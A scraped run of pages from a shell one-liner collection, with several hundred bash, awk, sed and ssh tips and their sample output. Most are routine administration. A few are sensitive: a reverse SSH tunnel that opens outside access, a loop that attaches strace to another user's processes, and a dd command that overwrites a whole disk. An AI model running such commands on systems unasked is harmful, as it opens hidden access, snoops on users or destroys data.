case. And it still avoids using tr. printf -v row "%${COLUMNS:-$(tput cols)}s"; echo ${row// /#} The only disadvantage to either one is that they create a variable. xargs -n1 -P100 -I{} sh -c 'ssh {} uptime >output/{} 2>error/{}' <hostlist Functions: sh uptime xargs run command on a group of nodes in parallel redirecting outputs Put your hosts in hostlist, one per line. Command outputs are gathered in output and error directories. typeset -f <function name>; declare -f <function name> $ typeset -f startx startx () test -x /usr/bin/startx || { }; /usr/bin/startx ${1+"$@"} 2>&1 | tee $HOME/.xsession-errors get function's source no need to reinvent the wheel. Thanks to the OP for the "obsolete" hint. 'declare' may come in pretty handy on systems paranoid about "up-to-dateness" while :; do acpi -t | osd_cat -p bottom ; sleep 1; done & Functions: acpi sleep To get the CPU temperature continuously on the desktop There is no need for variables. I also added sleep to reduce cpu usage, however I didn't test it. seq -f"ftp://ftp.vim.org/pub/vim/patches/7.1/7.1.%03g" 176 240 | xargs -I {} wget -c {}; Functions: seq wget xargs download a sequence of vim patch Seq allows you to define printf like formating by specified with -f, %03g is actually tells seq I got three digits, fill the blank digits with 0, and the range is from 176 to 240. ‹ First < 100 101 102 103 104 > Last › alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'" $ PS1 Command to Show a List of Special Characters for bash prompt (PS1) I use this command (PS1) to show a list bash prompt's special characters. I tested it against A flavor of Red Hat Linux and Mac OS X hash -r Functions: hash Forget remembered path locations of previously ran commands i.e.: Useful if you add ~/bin to your $PATH and you want to override locations of previously ran commands and you don't want to log out and log back in to be able to use them. ssh-keygen -f ~/.ssh/id_rsa -p Key has comment 'id_rsa' Enter new passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved with the new passphrase. Change SSH RSA passphrase Protects your secret identity with a passphrase. OSX 10.6 automatically does key forwarding and can store the passphrase in the keychain. For other OSes, use ssh -A or set ForwardAgent in ssh_config to enable forwarding. Then use ssh-agent/ssh-add. cp --sparse=always <SRC> <DST> # create a file with zeroes $ dd if=/dev/zero bs=1M count=5 of=full-5m # copy with sparsity detection $ cp --sparse=always full-5m sparse-5m # they look the same... $ ls -lah full-5m sparse-5m -rw-r--r-- 1 h3xx users 5.0M Sep 7 03:05 full-5m -rw-r--r-- 1 h3xx users 5.0M Sep 7 03:04 sparse-5m # but they're different! $ du -h full-5m sparse-5m 5.1M full-5m 5.0K sparse-5m Copy sparse files This causes cp to detect and omit large blocks of nulls. Sparse files are useful for implying a lot of disk space without actually having to write it all out. You can use it in a pipe too: dd if=/dev/zero bs=1M count=5 |cp --sparse=always /dev/stdin SPARSE_FILE Find Out My Linux Distribution Name and Version pkill -n firefox Kill most recently created process. Kills the most recently created firefox process. netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20 1 125.162.92.184 Functions: awk cut grep netstat sort tail uniq List top 20 IP from which TCP connection is in SYN_RECV state List top 20 IP from which TCP connection is in SYN_RECV state. Useful on web servers to detect a syn flood attack. Replace SYN_ with ESTA to find established connections file -i * | grep -c 'text/plain' Functions: file grep total text files in current dir apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');} View the latest astronomy picture of the day from NASA. Substitute feh for the image viewer of your choice. display (part of imagemagick) seems to be a popular choice. netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE Functions: awk cut grep netstat sort uniq Who has the most Apache connections. This will tell you who has the most Apache connections by IP (replace IPHERE with the actual IP you wish to check). Or if you wish, remove | grep -c IPHERE for the full list. find . | cpio -pumdv /destination Clone current directory into /destination verbosely Copy every file from current directory to destination preserving modification time. xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac } Turn shell tracing and verbosity (set -xv) on/off with 1 command! Turn shell tracing and verbosity (set -xv) on/off in any Bourne-type shell If either -x or -v is set, the function turns them both off. If neither is on, both are turned on. tail -f file |xargs -IX printf "$(date -u)\t%s\n" X Functions: file printf tail xargs echo "!!" | pbcopy copy last command to clipboard Copy the last command to clipboard (os x) cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^# Functions: cat grep Count all conections estabilished on gateway x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi; done; strace -vvtf -s 256 -p $process It sits there in a loop waiting for a proccess from that user to spawn. Catch a proccess from a user and strace it. It sits there in a loop waiting for a proccess from that user to spawn. When it does it will attach strace to it #INSIDE-host# ssh -f -N -R 8888:localhost:22 user@somedomain.org # #OUTSIDE-host#ssh user@localhost -p 8888# Reverse ssh Both hosts must be running ssh and also the outside host must have a port forwarded to port 22. perldoc perllocal List all installed PERL modules by CPAN This command will give you the detailed information about the installed perl modules i.e. installed path, Link type, version, files etc. egrep -ie "<*HREF=(.*?)>" index.html | cut -d "\"" -f 2 | grep :// Functions: cut egrep grep Extract raw URLs from a file you can also use cut instead of awk. less powerful but probably faster. ;) lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}' httpd 24073 TCP *:80 (LISTEN) httpd 24073 TCP *:443 (LISTEN) find listening ports by pid change 24073 to your pid pkill -USR1 ^dd$ 1192775+0 records in 1192774+0 records out 1221400576 bytes (1.2 GB) copied, 407.301 seconds, 3.0 MB/s The 'dd' command doesn't provide a progress when writing data. So, sending the "USR1" signal to the process will spit out its progress as it writes data. This command is superior to others on the site, as it doesn't require you to previously know the PID of the dd command. cat /var/log/auth.log | logtool -o HTML > auth.html Export log to html file Logtool is a nice tool that can export log file to various format, but its strength lies in the capacity of colorize logs. This command take a log as input and colorize it, then export it to an html file for a more confortable view. Logtool is part of logtool package.Tested on Debian. for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done GeoIP Country Edition: ES, Spain GeoIP Country Edition: IT, Italy GeoIP Country Edition: SE, Sweden GeoIP Country Edition: NL, Netherlands Functions: awk cut grep netstat Localize provenance of current established connections Sample command to obtain a list of geographic localization for established connections, extracted from netstat. Need geoiplookup command ( part of geoip package under CentOS) echo 'obase=16; C+F' | bc 1B Hex math with bc To do hex to binary: echo 'ibase=16; obase=2; 16*16' | bc # prints: 111100100 To do 16*16 from decimal to hex: echo 'ibase=10; obase=16; 16*16' | bc # prints: 100 You get the idea... Alternatively, run bc in interactive mode (see man page) Scan for new SCSI devices Issues a scan command on the given scsi host adapter (ex. a fibre channel adapter, in the example above on host0). Output can be watched in the messages log or in "dmesg" ‹ First < 101 102 103 104 105 > Last › scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql scp with compression. -C is for compression. getfacl /mydir Get file access control list du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done Functions: cut du echo read sed sort Based on the MrMerry one, just add some visuals to differentiate files and directories sed -r "s:\x1B\[[0-9;]*[mK]::g"' for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done; Add all files not under subversion control currency_convert() { wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" | sed '/res/!d;s/<[^>]*>//g'; } 1 USD = 45.4950 INR Currency Conversion eg: currency_convert 1 usd inr while (true) ; do pwgen 1 ; done ivan@kamino ~/Desktop $ while (true) ; do pwgen 1 ; done g b b a d b h o j y t d i a v l h w b p z k h t e b j i w n w p y z w a f j a w r o f z u a a g h k y n c c j a p a h a e h o l k z d e j y v e b q i b u e q k k j b p b h k k g c k y z x o i u o o p k q u p h h b g l i e j t f d w l h n g p p b k e q z j c t t s a m e x q q y k u i q h w j o u w k s h f y y f s k s m l o z n y f t q t i i g p p q v r k m i r w v l y s a r l q d x q s d a v n y u k i c k t y m a u b u n g j w m k k d i h b v c i x q o d g s k x m o f c g v y m u y a i l d h n e f v l k q u d u a k f t i v x w w u d k e u b w m h e p d h d j j k k l n e b y e s i z j i h t t i v r v v s e s e y a p r v k e c w i t d n l k n d g m g r d n b l q s r f g f j r i m s c k c m f w v r m e x o y w d z p u e z v x a t y t h w t u r a r f s j l y m c j c p b y j r q m h s u h u q k d e f j n y u p b p v i d f v v w v m x q n s n e y o u o y y u h w d l n u e e j a w h n p u u l g p x s m e n e g b j q c n a c n u o l e p q w s k p w i t v Poor's man Matrix script This creates a matrix of letters that run forever until you hit Ctrl-C simulating "The Matrix" effect... just for fun :) You may want to try the -n and -y switch to change the "FX" LOL! e.g.: pwgen -ny 3 alias lrt='ls -lart' list files with last modified at the end ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh Functions: awk ls sed Batch File Rename with awk and sed ac -p # ac -p Works on CentOS ad OpenBSD too, display time of accounts connection on a system, -p option print individual user's statistics. isoinfo -d -i filename.iso Functions: isoinfo ISO info Get details about an ISO image , without burning it or mounting it . username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/json|perl -e 'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf "%3.2f\n",$s/$n}' -0173 -nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s += $1; $n++;}}' Like command #4845, prints score, number of entries, and average score. gconftool-2 --set "/apps/metacity/general/action_middle_click_titlebar" --type string "minimize" Minimize Apps When Middle Clicking on Titlebar Middle click on titlebar to minimize apps find . -name "*\.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sort | uniq -c Functions: cut find grep sort uniq xargs Searches all .php files for a static instantiation of a class and displays the class names along with their frequencies. function eve (); { eval "print -s ${1?no variable}=\'\$$1\'" } a function to put environment variable in zsh history for editing This only makes sense if you are using command line editing. Create the function in your current zsh session, then type eve PATH go 'UP' in your history and notice the current (editable) definition of PATH shows up as the previous command. Same as doing: PATH="'$PATH'" but takes fewer characters and you don't have to remember the escaping. sync && echo 3 > /proc/sys/vm/drop_caches Empty the linux buffer cache cut -f 2- -d " " sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size: \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn Functions: sed sort Use the hold space to preserve lines until data is needed. sed "s/\([a-zA-Z]*\:\/\/[^ ]*\)\(.*\)/\<a href=\"\1\"\>\1\<\/a\>\2/" regex for turning a URL into a real hyperlink (i.e. for posting somewhere that accepts basic html) This should work with anything://url.whatever etc etc ;) lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}' [root@www1 ~]# lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print \ > substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}' /var/log/httpd/access_log /var/log/httpd/ssl_access_log /var/www/vhosts/firstdomain.net/statistics/logs/access_log /var/www/vhosts/seconddomain.com/statistics/logs/access_log /var/www/vhosts/thirddomain.com/statistics/logs/access_log List all active access_logs for currently running Apache or Lighttpd process Ever logged into a *nix box and needed to know which webserver is running and where all the current access_log files are? Run this one liner to find out. Works for Apache or Lighttpd as long as CustomLog name is somewhat standard. HINT: works great as input into for loop, like this: for i in `lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'` ; do echo $i; done Very useful for triage on unfamiliar servers! touch /etc/nologin Prevent non-root users from logging in Also with optional message: echo "no login for you" > /etc/nologin (This doesn't affect your current X session - you're already logged in!) cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com Functions: cat mailx Quickly Encrypt a file with gnupg and email it with mailx This is a quick and easy way of encrypting files in a datastream, without ever really creating an output file from gpg. Useful with cron also, when file(s) have to be sent based on a set schedule. read -a A <<<"8 9 5 10 6 0 3 11 7 4";B='.*.**..*....***';for C in $(date +"%H%M"|fold -w1);do echo "${B:${A[C]}:4}";done ...# ..#. ..## Functions: date echo fold read cryptic version if [ `fuser $0|wc -w` -gt "1" ];then exit; fi runs only one instance. watch -n60 --kill -USR1 $(pgrep dd) It will let the running dd command outputting stats like this: 5745+20519787 records in 5745+20519787 records out 38845006016 bytes (39 GB) copied, 3389.22 s, 11.5 MB/s output stats from a running dd command to see its progress if you start a large dd and forgot about statistics, but you still wonder what the progress is this command in an OTHER terminal will show you the way. NOTE: the watch command by itself will not output anything NOTE: the kill command will not kill the process ‹ First < 102 103 104 105 106 > Last › find . \( -name "*.php" -o -name "*.js" \) -exec svn propset svn:keywords Id {} \; Add SVN keywords property to all PHP and Javascript files sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC" | tr "~" "\n" Gives you what's between first string and second string included. If the file content is : - Blah blah blah ABC hello blah blah blah bloh bloh bloh Bah bah bah You'll get: sort -n <( for i in $(find . -maxdepth 1 -mindepth 1 -type d); do echo $(find $i | wc -l) ": $i"; done;) Functions: echo find sort wc List of directories sorted by number of files they contain. find / -type f -size +1000000000c find files larger than 1 GB, everywhere lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//' qmv -fdo Rename files with vim. Opens a list of files in a text editor. Using Vim as your default editor allows you to use the power of regex substitution and visual block mode to batch rename files. Found in the renameutils package sudo apt-get install renameutils echo string | tr '[:lower:]' '[:upper:]' Convert string to uppercase ssh user@server 'dd if=sda.img' | dd of=/dev/sda Restore a local drive from the image on remote host via ssh du | sort -nr | cut -f2- | xargs du -hs Functions: cut du sort xargs no fancy grep stuff here. curl -s http://www.commandlinefu.com/commands/by/$1/xml | awk -F'</?div[^>]*>' '/class=\"command\"/{gsub(/"/,"\"",$2); gsub(/</,"<",$2); gsub(/>/,">",$2); gsub(/&/,"\\&",$2); cmd=$2} /class=\"num-votes\"/{printf("%3i %s\n", $2, cmd)}' 0 sed 's/.*/ /' 0 date -s "`curl -sI www.example.com | sed -n 's/^Date: //p'`" 0 jot -s '' -b '-' 50 7 command | sed -n '1,/regex/p' 4 curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}' 5 dig +short -x {ip} This version prints current votes and commands for a user. Pass the user as an argument. While this technically "fits" as a one liner, it really is easier to look at as a shell script with extra whitespace. :) echo $((`rpm -qa --queryformat='%{SIZE}+' | sed 's/+$//'`)) [root@host_name ~]# echo $((`rpm -qa --queryformat='%{SIZE}+' | sed 's/+$//'`)) 1302810116 Size (in bytes) of all RPM packages installed This command will output the size of all RPM packages and string them together into one enormous addition command which will be calculated by the echo $(( )) ls *.jpg | grep -n "" | sed 's,.*,0000&,' | sed 's,0*\(...\):\(.*\).jpg,mv "\2.jpg" "image-\1.jpg",' | sh rename all jpg files with a prefix and a counter sudo mount -o remount,rw / Remount root in read-write mode. Saved my day, when my harddrive got stuck in read-only mode. svn log -v --xml file:///path/to/rep | grep kind=\"file\"|wc -l 1250 Number of files in a SVN Repository This command will output the total number of files in a SVN Repository. mkdir $(date +%Y_%m_%d) gnu@robby:/tmp/$ mkdir $(date +%Y_%m_%d) gnu@robby:/tmp/$ ls 2010_04_16 make directory with current date ssh root@host1 ?cd /somedir/tocopy/ && tar -cf ? .? | ssh root@host2 ?cd /samedir/tocopyto/ && tar -xf -? Copy from host 1 to host 2 through your host while :; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done Pick a random image from a directory (and subdirectories) every thirty minutes and set it as xfce4 wallpaper Change your wallpaper every thirty minutes (or however long you like, I suppose) to a randomly selected image in a directory and subdirectories. Bear in mind this is not safe to use if anyone else has write access to your image directory. git grep -l "your grep string" | xargs gedit grep across a git repo and open matching files in gedit export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";' Show current pathname in title of terminal This helps to keep track of what is going on when you have several tabs open in your terminal. The title automatically changes when you change directories. mplayer -shuffle * Play all the music in a folder, on shuffle Page up for next song lsof /dev/snd/pcm*p /dev/dsp | awk ' { print $2 }' | xargs kill Functions: awk xargs give me back my sound card for when a program is hogging the sound output. finds, and kills. add -9 to the end for wedged processes. add in 'grep ^program' after lsof to filter. alias sshv='ssh -vvv -o LogLevel=DEBUG3' OpenSSH_5.6p1, OpenSSL 1.0.0a 1 Jun 2010 debug1: Reading configuration data /home/askapache/.ssh/config debug1: Applying options for askapacheweb debug1: Reading configuration data /etc/ssh/ssh_config debug3: cipher ok: blowfish-cbc [blowfish-cbc,aes128-cbc,3des-cbc,cast128-cbc,aes128-ctr,arcfour128] debug3: cipher ok: aes128-cbc [blowfish-cbc,aes128-cbc,3des-cbc,cast128-cbc,aes128-ctr,arcfour128] debug3: cipher ok: 3des-cbc [blowfish-cbc,aes128-cbc,3des-cbc,cast128-cbc,aes128-ctr,arcfour128] debug3: cipher ok: cast128-cbc [blowfish-cbc,aes128-cbc,3des-cbc,cast128-cbc,aes128-ctr,arcfour128] debug3: cipher ok: aes128-ctr [blowfish-cbc,aes128-cbc,3des-cbc,cast128-cbc,aes128-ctr,arcfour128] debug3: cipher ok: arcfour128 [blowfish-cbc,aes128-cbc,3des-cbc,cast128-cbc,aes128-ctr,arcfour128] debug3: ciphers ok: [blowfish-cbc,aes128-cbc,3des-cbc,cast128-cbc,aes128-ctr,arcfour128] debug3: key names ok: [ssh-rsa] debug1: Applying options for * debug2: ssh_connect: needpriv 0 debug1: Connecting to www.askapache.com [208.86.158.195] port 25627. debug1: Connection established. debug3: Not a RSA1 key file /home/askapache/.ssh/key.rsa5. debug1: identity file /home/askapache/.ssh/key.rsa5 type -1 debug1: identity file /home/askapache/.ssh/key.rsa5-cert type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_4.3 debug1: match: OpenSSH_4.3 pat OpenSSH_4* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.6 debug2: fd 3 setting O_NONBLOCK debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-dss-cert-v00@openssh.com,ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_setup: found hmac-md5 debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(4096<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug2: dh_gen_key: priv key bits set: 147/256 debug2: bits set: 488/4096 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug3: put_host_port: [208.86.158.195]:25627 debug3: put_host_port: [www.askapache.com]:25627 debug3: check_host_in_hostfile: host [www.askapache.com]:25627 filename /home/askapache/.ssh/known_hosts debug3: check_host_in_hostfile: match line 7 debug3: check_host_in_hostfile: host [208.86.158.195]:25627 filename /home/askapache/.ssh/known_hosts debug3: check_host_in_hostfile: match line 8 debug1: Host '[www.askapache.com]:25627' is known and matches the RSA host key. debug1: Found key in /home/askapache/.ssh/known_hosts:7 debug2: bits set: 484/4096 debug1: ssh_rsa_verify: signature correct debug2: kex_derive_keys debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /home/askapache/.ssh/key.rsa5 ((nil)) debug1: Authentications that can continue: publickey,password,keyboard-interactive debug3: start over, passed a different list publickey,password,keyboard-interactive debug3: preferred publickey,keyboard-interactive,password debug3: authmethod_lookup publickey debug3: remaining preferred: keyboard-interactive,password debug3: authmethod_is_enabled publickey debug1: Next authentication method: publickey debug1: Trying private key: /home/askapache/.ssh/key.rsa5 debug1: read PEM private key done: type RSA debug3: sign_and_send_pubkey: RSA 44:bf:40:5e:gg:33:f4:77 debug2: we sent a publickey packet, wait for reply debug1: Authentication succeeded (publickey). Authenticated to www.askapache.com ([208.86.158.195]:25627). debug2: fd 5 setting O_NONBLOCK debug3: fd 6 is O_NONBLOCK debug1: channel 0: new [client-session] debug3: ssh_session2_open: channel_new: 0 debug2: channel 0: send open debug1: Entering interactive session. debug2: callback start debug2: client_session2_setup: id 0 debug2: channel 0: request pty-req confirm 1 debug2: channel 0: request shell confirm 1 debug2: fd 3 setting TCP_NODELAY debug2: callback done debug2: channel 0: open confirm rwindow 0 rmax 32768 debug2: channel_input_status_confirm: type 99 id 0 debug2: PTY allocation request accepted on channel 0 debug2: channel 0: rcvd adjust 2097152 debug2: shell request accepted on channel 0 $ exit debug2: channel 0: rcvd eof debug2: channel 0: output open -> drain debug2: channel 0: obuf empty debug2: channel 0: close_write debug2: channel 0: output drain -> closed debug2: channel 0: rcvd close debug2: channel 0: close_read debug2: channel 0: input open -> closed debug3: channel 0: will not send data after close debug2: channel 0: almost dead debug2: channel 0: gc: notify user debug2: channel 0: gc: user detached debug2: channel 0: send close debug2: channel 0: is dead debug2: channel 0: garbage collecting debug1: channel 0: free: client-session, nchannels 1 debug3: channel 0: status: The following connections are open: #0 client-session (t4 r0 i3/0 o3/0 fd -1/-1 cc -1) debug3: channel 0: close_fds r -1 w -1 e 6 Connection to www.askapache.com closed. Transferred: sent 2528, received 7200 bytes, in 7.6 seconds Bytes per second: sent 334.7, received 953.2 debug1: Exit status 0 When debugging an ssh connection either to optimize your settings ie compression, ciphers, or more commonly for debugging an issue connecting, this alias comes in real handy as it's not easy to remember the '-o LogLevel=DEBUG3' argument, which adds a boost of debugging info not available with -vvv alone. Especially useful are the FD info, and the setup negotiation to create a cleaner, faster connection. rev <<< 'lorem ipsum' | tee /dev/stderr | rev muspi merol lorem ipsum Functions: rev tee Copy input sent to a command to stderr In the above example 'muspi merol' (the output of the first rev command) is sent to stderr and 'lorem ipsum' (the output of the second rev command) is sent to stdout. rev reverse lines of a file or files. This use of tee allows testing if a program correctly handles its input without using files that hold the data. svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s Functions: sed sh fetch all revisions of a specific file in an SVN repository Manages everything through one sed script instead of pipes of greps and awks. Quoting of shell variables is generally easier within a sed script. dd [...] p Use this if you're using vi editing mode. sudo vim /root/bin/ ##uh... autocomplete doesn't work... dd sudo ls /root/bin <p> sudo vim /root/bin/ ##resume here! Thanks readline! ‹ First < 103 104 105 106 107 > Last › sed -i '1s/^/text to prepend\n/' file1 Prepend a text to a file. Using the sed -i (inline), you can replace the beginning of the first line of a file without redirecting the output to a temporary location. awk '{print > $3".txt"}' FILENAME sorting file contents into individual files with awk This command will sort the contents of FILENAME by redirecting the output to individual .txt files in which 3rd column will be used for sorting. If FILENAME contents are as follows: foo foo A foo bar bar B bar lorem ipsum A lorem Then two files called A.txt and B.txt will be created and their contents will be: A.txt and B.txt will be echo "8000000/(20*6*86400)" | bc -l doing some floating point math tr ' \t' '\n' <INFILE >OUTFILE Puts every word from a file into a new line Simply translates whitespace to newlines. Could be enhanced to compress out extra newlines, but that might be better handled in the next tool down the pipe, with eg uniq(1). espeak -f text.txt Read aloud a text file in Ubuntu (and other Unixes with espeak installed vimdiff <(svn cat "$1") "$1" get colorful side-by-side diffs of files in svn with vim This will diff your local version of the file with the latest version in svn. I put this in a shell function like so: svd() { vimdiff <(svn cat "$1") "$1"; } ls -1d */ List only directories, one per line rm -rf /tmp/playlist.tmp && find ~/mp3 -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing mplayer: could not connect to socket mplayer: No such file or directory Playing /home/hhanff/mp3/Alben/Sunrise Ave/On the way to wonderland/01-Choose to Be Me.mp3. Functions: find grep rm Recursively scan directories for mp3s and pass them to mplayer The command first deletes any old playlist calles playlist.tmp under /tmp. After that it recursively searches all direcotries under ~/mp3 and stores the result in /tmp/playlist.tmp. After havin created the playlist, the command will execute mplayer which will shuffle through the playlist. This command is aliased to m is aliased to `rm -rf /tmp/playlist.tmp && find ~/mp3 -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing' in my ~/.bashrc. sudo apt-get install linux-headers-$(uname -r) Functions: install sudo uname Install Linux Kernel Headers perl -pe 's/.+;//' ~/.zsh_history | sort | uniq -c | sort -r|head -10 3940 ls 1427 sudo emerge -vpuDN world 1084 top 684 tail /var/log/samba/log.smbd -n 50 601 sudo emerge --sync 573 sudo emerge --depclean 566 ls -alh 561 df -ah 523 cd 430 sudo revdep-rebuild The top ten commands you use find . -type f -name "*" -mtime +10 -print -exec gzip {} \; Functions: find gzip Gzip files older than 10 days matching * Useful for a cron job that runs nightly, gzipping or alternatively deleting files from a specific directory that are older than 10 days (in this case) p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done Functions: printf sleep Random colours at random locations plowdown http://www.megaupload.com/?d=abc1234567 Plowshare, download files from cyberlocker like rapidshare megaupload ...etc you need to have plowshare installed http://code.google.com/p/plowshare/ plowshare supports Megaupload, Rapidshare, 2Shared, 4Shared, ZShare, Badongo, Divshare.com, Depositfiles, Netload.in, Sendspace, Usershare, x7.to and some others file sharing services. awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum-=array[mod]};sum+=$1;array[mod]=$1;print sum/count}' file.dat Awk: Perform a rolling average on a column of data Sometimes jittery data hides trends, performing a rolling average can give a clearer view. cowsay Linux rocks! ______________ < Linux rocks! > -------------- pimp text output e.g. "Linux rocks!" to look nice yum --disablerepo=* --enablerepo=epel list available Listing only one repository with yum How to list just one repo with yum. First I disable all repo, second I enable just the repo that I want to list. mysqldump OLD_DB | cat <(echo "CREATE DATABASE NEW_DB; USE NEW_DB;") - | mysql Create a backup copy of a MySQL database on the same host This should probably only be used for testing in a dev environment as it's not terribly efficient, but if you're doing something that might trash a DB and you still want the old data available, this works like a charm. find . -type d -maxdepth 1 :%s/old/new/g replace a character/word/string in a file using vim Replace all ocurrences in the file. The g option is to replace more than one occurrence in the same line. Whitout the g option, it only replace the first occurrence in the line. cp texfile.toc texfile.toc.bak; latex texfile.tex; cmp -s texfile.toc texfile.toc.bak; if [ $? -ne 0 ]; then latex texfile.tex; fi Functions: cmp cp Check if you need to run LaTeX to update the TOC To check if the table-of-content in a LaTeX document is up-to-date, copy it to a backup before running LaTeX and compare the new .toc to the backup. If they are identical, it is updated. If not, you need to run LaTeX again. server reboot like poweroff / poweron Force hard reset on server Useful when you have some wrong on a server (nfs freeze/ immortal process) touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy remove files and directories with acces time older than a given date touch a dummy file with the specified date, then use find with -anewer . figlet Linux rocks! _ _ _ _ | | (_)_ __ _ ___ __ _ __ ___ ___| | _____| | | | | | '_ \| | | \ \/ / | '__/ _ \ / __| |/ / __| | | |___| | | | | |_| |> < | | | (_) | (__| <\__ \_| |_____|_|_| |_|\__,_/_/\_\ |_| \___/ \___|_|\_\___(_) <commmand>; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi ls; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi linux linux-2.6.34-gentoo-r1 linux-2.6.34-gentoo-r5 linux-2.6.35-gentoo-r1 linux-2.6.35-gentoo-r2 snort_dynamicsrc :) rm; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi rm: missing operand Try `rm --help' for more information. :( display a smiling smiley if the command succeeded and a sad smiley if the command failed you could save the code between if and fi to a shell script named smiley.sh with the first argument as and then do a smiley.sh to see if the command succeeded. a bit needless but who cares ;) isgd() { /usr/bin/wget -qO - "http://is.gd/create.php?format=simple&url=$1" ;} Short URLs with is.gd No curl and no sed, just wget :) ‹ First < 104 105 106 107 108 > Last › ntpdate ntp.ubuntu.com pool.ntp.org Time Synchronisation with NTP sleep 8h && while [ 1 ] ; do date "+Good Morning. It is time to wake up. The time is %I %M %p" | espeak -v english -p 0 -s 150 -a 100 ; sleep 1m; done Set speakers really loud. Your guests will really love it ;) Functions: date sleep Speaking alarm clock This ran on a ubuntu box using espeak for speaking text with the bash shell. On a mac you should use 'say'. Also you can change your alarm interval and your snooze interval which are currently 8 hours and 1 minute. I would run this via cron yet it's easier to disable if you run it as a command like this :P pr -l 40 bitree.c > printcode; split -40 printcode -d page_ Functions: pr split split source code to page with numbers curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post PROMPT_COMMAND="history -a" Commit command to history file immedeately after execution This could be added to 